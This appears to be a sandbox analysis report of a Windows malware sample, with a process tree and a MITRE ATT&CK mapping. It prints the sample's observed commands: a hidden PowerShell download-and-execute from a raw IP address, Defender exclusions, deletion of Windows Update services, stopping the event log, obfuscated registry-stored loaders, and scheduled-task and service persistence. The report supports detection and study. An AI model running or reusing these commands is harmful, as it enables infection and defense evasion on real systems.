PID 4012 wrote to memory of 380	4012	dialer.exe	13
PID 4012 wrote to memory of 756	4012	dialer.exe	14
PID 3500 wrote to memory of 2744	3500	cmd.exe	152
PID 3500 wrote to memory of 2744	3500	cmd.exe	152
PID 680 wrote to memory of 2768	680	lsass.exe	47
PID 680 wrote to memory of 2768	680	lsass.exe	47
PID 1984 wrote to memory of 4484	1984	cmd.exe	153
PID 1984 wrote to memory of 4484	1984	cmd.exe	153
PID 4012 wrote to memory of 872	4012	dialer.exe	15
PID 4012 wrote to memory of 1096	4012	dialer.exe	17

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:620
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:380
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{afbe217d-a802-4fe9-8f77-5417898b8cd8}
  2⤵
  PID:5620
- C:\Windows\SysWOW64\dllhost.exe
  C:\Windows\SysWOW64\dllhost.exe /Processid:{5b361c4d-9521-4006-9376-e68bfcca09cb}
  2⤵
  PID:2468
- C:\Windows\SysWOW64\dllhost.exe
  C:\Windows\SysWOW64\dllhost.exe /Processid:{5b361c4d-9521-4006-9376-e68bfcca09cb}
  2⤵
  PID:6116
- C:\Windows\SysWOW64\dllhost.exe
  C:\Windows\SysWOW64\dllhost.exe /Processid:{5b361c4d-9521-4006-9376-e68bfcca09cb}
  2⤵
  PID:6056

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:872

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1208
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2860
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
  2⤵
  PID:4856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
  2⤵
  PID:3068
- C:\Program Files\Cuis\bon\Bara.exe
  "C:\Program Files\Cuis\bon\Bara.exe"
  2⤵
  PID:5136
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1444
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1564

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1580

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1772

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1932

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1968

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1976

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:1940

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2108

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2216

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2736

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2824

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3004

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3340

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3432
- C:\Users\Admin\AppData\Local\Temp\c28e37ce98cb20850ba164913c668995822e38c35c491d5ca0e5ec206148b578N.exe
  "C:\Users\Admin\AppData\Local\Temp\c28e37ce98cb20850ba164913c668995822e38c35c491d5ca0e5ec206148b578N.exe"
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Public\sd895CEfer.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4912
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4924
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:1056
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle hidden Add-MpPreference -ExclusionPath C:\Users;Add-MpPreference -ExclusionPath $env:ProgramFiles;cd C:\Users\Public\Documents;Invoke-WebRequest 185.148.3.216/5fr5gthkjdg71 -OutFile 5fr5gthkjdg71.exe;./5fr5gthkjdg71.exe;exit
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4212
    - - C:\Users\Public\Documents\5fr5gthkjdg71.exe
        
        "C:\Users\Public\Documents\5fr5gthkjdg71.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2240
      - C:\Users\Public\Documents\gfiKDLgr58thy4d.exe
        
        "C:\Users\Public\Documents\gfiKDLgr58thy4d.exe"
        6⤵
        Executes dropped EXE
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1668
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4748
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:3612
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        8⤵
        
        PID:3172
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        7⤵
        Launches sc.exe
        
        PID:1536
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        7⤵
        Launches sc.exe
        
        PID:4484
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        7⤵
        Launches sc.exe
        
        PID:3428
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        7⤵
        Launches sc.exe
        
        PID:3364
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        7⤵
        Launches sc.exe
        
        PID:3540
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        7⤵
        Power Settings
        
        PID:4276
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        7⤵
        Power Settings
        
        PID:2692
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        7⤵
        Power Settings
        
        PID:2436
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        7⤵
        Power Settings
        
        PID:1952
        
        C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4012
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "WAGDKRVZ"
        7⤵
        Launches sc.exe
        
        PID:4300
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "WAGDKRVZ" binpath= "C:\ProgramData\mxergolzfguk\kaptsegthwf.exe" start= "auto"
        7⤵
        Launches sc.exe
        
        PID:4748
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        7⤵
        Launches sc.exe
        
        PID:4916
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "WAGDKRVZ"
        7⤵
        Launches sc.exe
        
        PID:4176
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:3736
      - C:\Users\Public\Documents\GR55Qg1hth.exe
        
        "C:\Users\Public\Documents\GR55Qg1hth.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4588
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:968
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:3500
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:864
        
        C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        8⤵
        Launches sc.exe
        
        PID:3348
        
        C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        8⤵
        Launches sc.exe
        
        PID:3544
        
        C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        8⤵
        Launches sc.exe
        
        PID:2744
        
        C:\Windows\system32\sc.exe
        
        sc stop bits
        8⤵
        Launches sc.exe
        
        PID:3920
        
        C:\Windows\system32\sc.exe
        
        sc stop dosvc
        8⤵
        Launches sc.exe
        
        PID:3172
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
        8⤵
        
        PID:5520
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
        8⤵
        
        PID:5664
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
        8⤵
        
        PID:5716
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
        8⤵
        
        PID:5768
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        8⤵
        
        PID:5828
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
        7⤵
        Power Settings
        Suspicious use of WriteProcessMemory
        
        PID:1984
        
        C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        8⤵
        Power Settings
        
        PID:4932
        
        C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        8⤵
        Power Settings
        
        PID:456
        
        C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        8⤵
        Power Settings
        
        PID:4484
        
        C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        8⤵
        Power Settings
        
        PID:2380
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell <#tkmebyokj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Barac' /tr '''C:\Program Files\Cuis\bon\Bara.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Cuis\bon\Bara.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Barac' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Barac" /t REG_SZ /f /d 'C:\Program Files\Cuis\bon\Bara.exe' }
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2804
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:3396
        
        C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        7⤵
        
        PID:5972
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell <#byjeowvd#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "Barac" } Else { "C:\Program Files\Cuis\bon\Bara.exe" }
        7⤵
        
        PID:5980
        
        C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /run /tn Barac
        8⤵
        
        PID:5264
      - C:\Users\Public\Documents\F4R5fd8grr.exe
        
        "C:\Users\Public\Documents\F4R5fd8grr.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3692
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "3dfx Startup" /sc ONLOGON /tr "C:\Users\Public\Documents\F4R5fd8grr.exe" /rl HIGHEST /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:864
        
        C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
        
        "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:908
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "3dfx Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1760
- - C:\Windows\System32\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Public\setup.msi"
    3⤵
    - Enumerates connected drives
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:1520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3564

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3740

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3896

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4016

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4844

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:2716

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:1924

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4068

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2820

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:568

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:452

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:468
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1072

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:1480

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k swprv
1⤵
PID:2548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:3000

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s DsmSvc
1⤵
PID:4720

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:1080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:2684

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:4832

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:2424

C:\ProgramData\mxergolzfguk\kaptsegthwf.exe
C:\ProgramData\mxergolzfguk\kaptsegthwf.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3476
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3348
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:5600
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:5896
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:5588
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:5884
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:520
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2396
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:3856
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:5964
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:5968
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:388
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4588
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:1912
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:3500
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:4536
- C:\Windows\system32\dialer.exe
  dialer.exe
  2⤵
  PID:6068

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery